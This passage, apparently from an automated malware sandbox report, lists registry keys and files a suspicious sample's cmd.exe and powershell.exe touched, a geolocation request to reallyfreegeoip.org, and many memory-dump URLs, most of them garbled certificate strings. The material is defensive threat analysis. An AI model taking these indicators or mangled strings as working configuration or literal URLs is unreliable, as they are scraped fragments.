"OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER\BAM"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SAFEBOOT\OPTION"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SRP\GP\DLL"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED\MACHINELANGUAGECONFIGURATION"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\MUI\SETTINGS"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\CONTROL PANEL\DESKTOP"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP\LANGUAGECONFIGURATION"; Key: ""; Value: "")45:Taee,"cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "RESOURCEPOLICIES"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CONHOST.EXE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: "LONGPATHSENABLED"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: "PREFERREDUILANGUAGES"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED"; Key: "MACHINEPREFERREDUILANGUAGES"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SIDEBYSIDE"; Key: "PREFEREXTERNALMANIFEST"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "SAFEDLLSEARCHMODE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA\FIPSALGORITHMPOLICY"; Key: "ENABLED"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA"; Key: "FIPSALGORITHMPOLICY"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA\FIPSALGORITHMPOLICY"; Key: "MDMENABLED"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "PAGEALLOCATORUSESYSTEMHEAP"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "PAGEALLOCATORSYSTEMHEAPISPRIVATE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "AGGRESSIVEMTATESTING"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\GRE_INITIALIZE"; Key: "DISABLEMETAFILES"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: "ENABLEPERPROCESSSYSTEMDPI"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\COMPATIBILITY32"; Key: "CMD"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS"; Key: "LOADAPPINIT_DLLS"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SYSTEM"; Key: "DISABLECMD"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\COMMAND PROCESSOR"; Key: "DISABLEUNCCHECK"; Value: "")46:Tabc,"powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\ATL.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\MSCOREE.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\FLTLIB.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\CRYPTSP.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\CLR.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\VCRUNTIME140_CLR0400.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\VCRUNTIME140_CLR0400.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\UCRTBASE_CLR0400.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ucrtbase_clr0400.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSCOREE.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\OLE32.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\API-MS-WIN-CORE-WINRT-L1-1-0.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\OLEAUT32.DLL" "powershell.exe" trying to access non-existent file "C:\WINDOWS\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\BCRYPT.DLL" "powershell.exe" trying to access non-existent file "C:\WINDOWS\System32\WindowsPowerShell\v1.0\bcrypt.dll" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\CRYPTBASE.DLL" "powershell.exe" trying to access non-existent file "C:\WINDOWS\System32\WindowsPowerShell\v1.0\CRYPTBASE.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll"47:T840,"cmd.exe" trying to access non-existent file "C:\Windows\System32\AppLocker\MDM" "cmd.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Templates\CABIN.BAT" "cmd.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Templates\CABIN.bat" "cmd.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\CORNER.TMP" "powershell.exe" trying to access non-existent file "C:\Windows\System32\MSCOREE.DLL.LOCAL" "powershell.exe" trying to access non-existent file "C:\WINDOWS\SYSTEM32\mscoree.dll.local" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\FUSION.LOCALGAC" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\fusion.localgac" "powershell.exe" trying to access non-existent file "C:\Windows\assembly\GAC\PUBLISHERPOLICY.TME" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\SYSTEM.DATA.DLL.CONFIG" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\SYSTEM.TRANSACTIONS.DLL.CONFIG" "powershell.exe" trying to access non-existent file "Z:\" "powershell.exe" trying to access non-existent file "C:\Windows\System32\AppLocker\MDM" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\PROFILE.PS1" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\MICROSOFT.POWERSHELL_PROFILE.PS1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\MODULES.PSD1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Modules.psd1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\MODULES.PSM1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Modules.psm1"48:T4c2,Found reference to API "WSAStartup" (Indicator: "wsastartup"; Source: "00000000-00005336-00000C2C-1596371286") Found reference to API "ote: There is some performance penalty associated with assembly bind failure logging." (Indicator: " bind "; Source: "00000000-00001332.00000000.168324.4CCE0000.00000004.mdmp, 00000000-00001332.00000001.168518.4CCE0000.00000004.mdmp") Found reference to API "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." (Indicator: " bind "; Source: "00000000-00001332.00000000.168324.66FF0000.00000004.mdmp, 00000000-00001332.00000001.168518.66FF0000.00000004.mdmp") Found reference to API "ote: There is some performance penalty associated with assembly bind failure logging." (Indicator: " bind "; Source: "00000000-00001612.00000000.168853.02D50000.00000004.mdmp, 00000000-00001612.00000001.170318.02D80000.00000004.mdmp") Found reference to API "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." (Indicator: " bind "; Source: "00000000-00001612.00000000.168853.1D080000.00000004.mdmp, 00000000-00001612.00000001.170318.1D080000.00000004.mdmp")49:T7c7,Potential IP "64.124.12.162" found in string "/xml/64.124.12.162" Potential IP "64.124.12.162" found in string "GET /xml/64.124.12.162 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive" Potential IP "64.124.12.162" found in string "GET /xml/64.124.12.162 HTTP/1.1" "2.5.29.37" "2.5.29.35" Potential IP "64.124.12.162" found in string "64.124.12.162USUnited StatesMIMichiganOkemos48864America/Detroithttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt08.ek@26vtlp0xr!s4zs9_>powershell" - Source: "00000000-00001332.00000000.168324.4CCE0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0f9iqmgvw,czco!yjpath=c:\programdata\oracle\java\javapath;c:\windows\system32;c:\windows;c:\windows\system32\wbem;c:\windows\system32\windowspowershell\v1.0\;c:\users\hapubws\appdata\roaming\nvm;c:\program" - Source: "00000000-00001332.00000000.168324.66FF0000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?eglobalsign" - Source: "00000000-00001332.00000000.168324.66FF0000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00001332.00000000.168324.66FF0000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00001332.00000000.168324.66FF0000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00001332.00000000.168324.66FF0000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00001332.00000000.168324.66FF0000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00001332.00000000.168324.66FF0000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;addtrust" - Source: "00000000-00001332.00000000.168324.66FF0000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00001332.00000000.168324.66FF0000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00001332.00000000.168324.66FF0000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00001332.00000000.168324.66FF0000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00001332.00000000.168324.66FF0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00001332.00000000.168324.66FF0000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00001332.00000000.168324.66FF0000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0eris120531151137z0/^g(o-cejy" - Source: "00000000-00001332.00000000.168324.66FF0000.00000004.mdmp") Found URL "http://www.microsoft.com/windows" - Source: "00000000-00001332.00000000.168324.66FF0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00001332.00000000.168324.66FF0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fmnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00001332.00000000.168324.66FF0000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*lc" - Source: "00000000-00001332.00000000.168324.66FF0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt08.ek@26vtlp0xr!s4zs9_>&" - Source: "00000000-00001332.00000000.168324.66FF0000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=526920')]" - Source: "00000000-00001332.00000000.168324.66FF0000.00000004.mdmp") Found URL "http://www.microsoft.com/windows0qst*&pj>e" - Source: "00000000-00001332.00000000.168324.66FF0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00001332.00000000.168324.66FF0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00001332.00000000.168324.66FF0000.00000004.mdmp") Found URL "http://www.microsoft.com/windows1.3.6.1.4.1.311.3.3.1a+zt20170929123018.134z0washington1redmond1microsoft" - Source: "00000000-00001332.00000000.168324.67540000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00001332.00000000.168324.67540000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00001332.00000000.168324.67540000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0f9iqmgvw,czco!yjpath=c:\programdata\oracle\java\javapath;c:\windows\system32;c:\windows;c:\windows\system32\wbem;c:\windows\system32\windowspowershell\v1.0\;c:\users\hapubws\appdata\roaming\nvm;c:\program" - Source: "00000000-00001332.00000001.168518.66FF0000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?eglobalsign" - Source: "00000000-00001332.00000001.168518.66FF0000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00001332.00000001.168518.66FF0000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00001332.00000001.168518.66FF0000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00001332.00000001.168518.66FF0000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00001332.00000001.168518.66FF0000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00001332.00000001.168518.66FF0000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;addtrust" - Source: "00000000-00001332.00000001.168518.66FF0000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00001332.00000001.168518.66FF0000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00001332.00000001.168518.66FF0000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00001332.00000001.168518.66FF0000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00001332.00000001.168518.66FF0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00001332.00000001.168518.66FF0000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00001332.00000001.168518.66FF0000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0eris120531151137z0/^g(o-cejy" - Source: "00000000-00001332.00000001.168518.66FF0000.00000004.mdmp") Found URL "http://www.microsoft.com/windowsus1!0the" - Source: "00000000-00001332.00000001.168518.66FF0000.00000004.mdmp") Found URL "http://www.microsoft.com/windows" - Source: "00000000-00001332.00000001.168518.66FF0000.00000004.mdmp") Found URL "http://www.microsoft.com/windows2.5.29.10rszd@sg" - Source: "00000000-00001332.00000001.168518.66FF0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00001332.00000001.168518.66FF0000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?!m5c3rszysil" - Source: "00000000-00001332.00000001.168518.66FF0000.00000004.mdmp") Found URL "http://cert.startcom.org/sfsca-crl.crl0+%http://crl.startcom.org/sfsca-crl.crl0" - Source: "00000000-00001332.00000001.168518.66FF0000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf05)http://cert.startcom.org/intermediate.pdf0" - Source: "00000000-00001332.00000001.168518.66FF0000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf0)startcom" - Source: "00000000-00001332.00000001.168518.66FF0000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt08.ek@26vtlp0xr!s4zs9_>us1)0'" - Source: "00000000-00001332.00000001.168518.66FF0000.00000004.mdmp") Found URL "http://crl.comodoca.com/aaacertificateservices.crl060http://crl.comodo.net/aaacertificateservices.crl0l7u" - Source: "00000000-00001332.00000001.168518.66FF0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0wx" - Source: "00000000-00001332.00000001.168518.66FF0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00001332.00000001.168518.66FF0000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*lc[y3k^,k\ktpcn%o(c_%;cl%*rizc" - Source: "00000000-00001332.00000001.168518.66FF0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00001332.00000001.168518.670CB000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0" - Source: "00000000-00001332.00000001.168518.67540000.00000004.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=42127" - Source: "00000000-00001332.00000001.168518.67640000.00000004.mdmp") Found URL "http://www.microsofff$mi/docs/cps/default.htm0@fl$*$vkt7" - Source: "00000000-00001332.00000001.168518.67640000.00000004.mdmp") Found URL "http://1fosoft.com/pki/crl/produc3fmstapca_2010-07-01.crl0z5fn0l0j>http7f$$wicrosoft.com/pki/certs/m" - Source: "00000000-00001332.00000001.168518.67640000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt08.ek@26vtlp0xr!s4zs9_>washington1redmond1microsoft" - Source: "00000000-00001332.00000001.168518.67640000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00001332.00000001.168518.67640000.00000004.mdmp") Found URL "http://www.microsoft.com/windows0qst*&pj>e" - Source: "00000000-00001332.00000001.168518.67640000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00001332.00000001.168518.67640000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/ceri$'imstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00001332.00000001.168518.67640000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0f9iqmgvw,czcthawte," - Source: "00000000-00001612.00000000.168853.1D080000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?eglobalsign" - Source: "00000000-00001612.00000000.168853.1D080000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00001612.00000000.168853.1D080000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00001612.00000000.168853.1D080000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00001612.00000000.168853.1D080000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00001612.00000000.168853.1D080000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00001612.00000000.168853.1D080000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;cse" - Source: "00000000-00001612.00000000.168853.1D080000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00001612.00000000.168853.1D080000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00001612.00000000.168853.1D080000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00001612.00000000.168853.1D080000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00001612.00000000.168853.1D080000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00001612.00000000.168853.1D080000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0root" - Source: "00000000-00001612.00000000.168853.1D080000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00001612.00000000.168853.1D080000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00001612.00000000.168853.1D080000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?!m5c3il" - Source: "00000000-00001612.00000000.168853.1D080000.00000004.mdmp") Found URL "http://cert.startcom.org/sfsca-crl.crl0+%http://crl.startcom.org/sfsca-crl.crl0" - Source: "00000000-00001612.00000000.168853.1D080000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf05)http://cert.startcom.org/intermediate.pdf0" - Source: "00000000-00001612.00000000.168853.1D080000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf0)startcom" - Source: "00000000-00001612.00000000.168853.1D080000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00001612.00000000.168853.1D080000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.3.6.1.4.1.311.10.1250905032048z0/^g(o-cejy" - Source: "00000000-00001612.00000000.168853.1D080000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.3.36.3.3.2.8.1.1.10ecdp@1.2.156.11235.1.1.2.1@eckp1.2.840.10045.3.1.1@eckp1.2.840.10045.3.1.2ecdp1.2.840.10045.3.1.6@eckp1.2.840.10045.3.1.3ecdp1.2.840.10045.3.1.7ecdp1.3.36.3.3.2.8.1.1.10@eckp@1.2.840.10045.3.1.1ecdp1.3.36.3.3.2.8.1.1.8@eckp0," - Source: "00000000-00001612.00000000.168853.1D080000.00000004.mdmp") Found URL 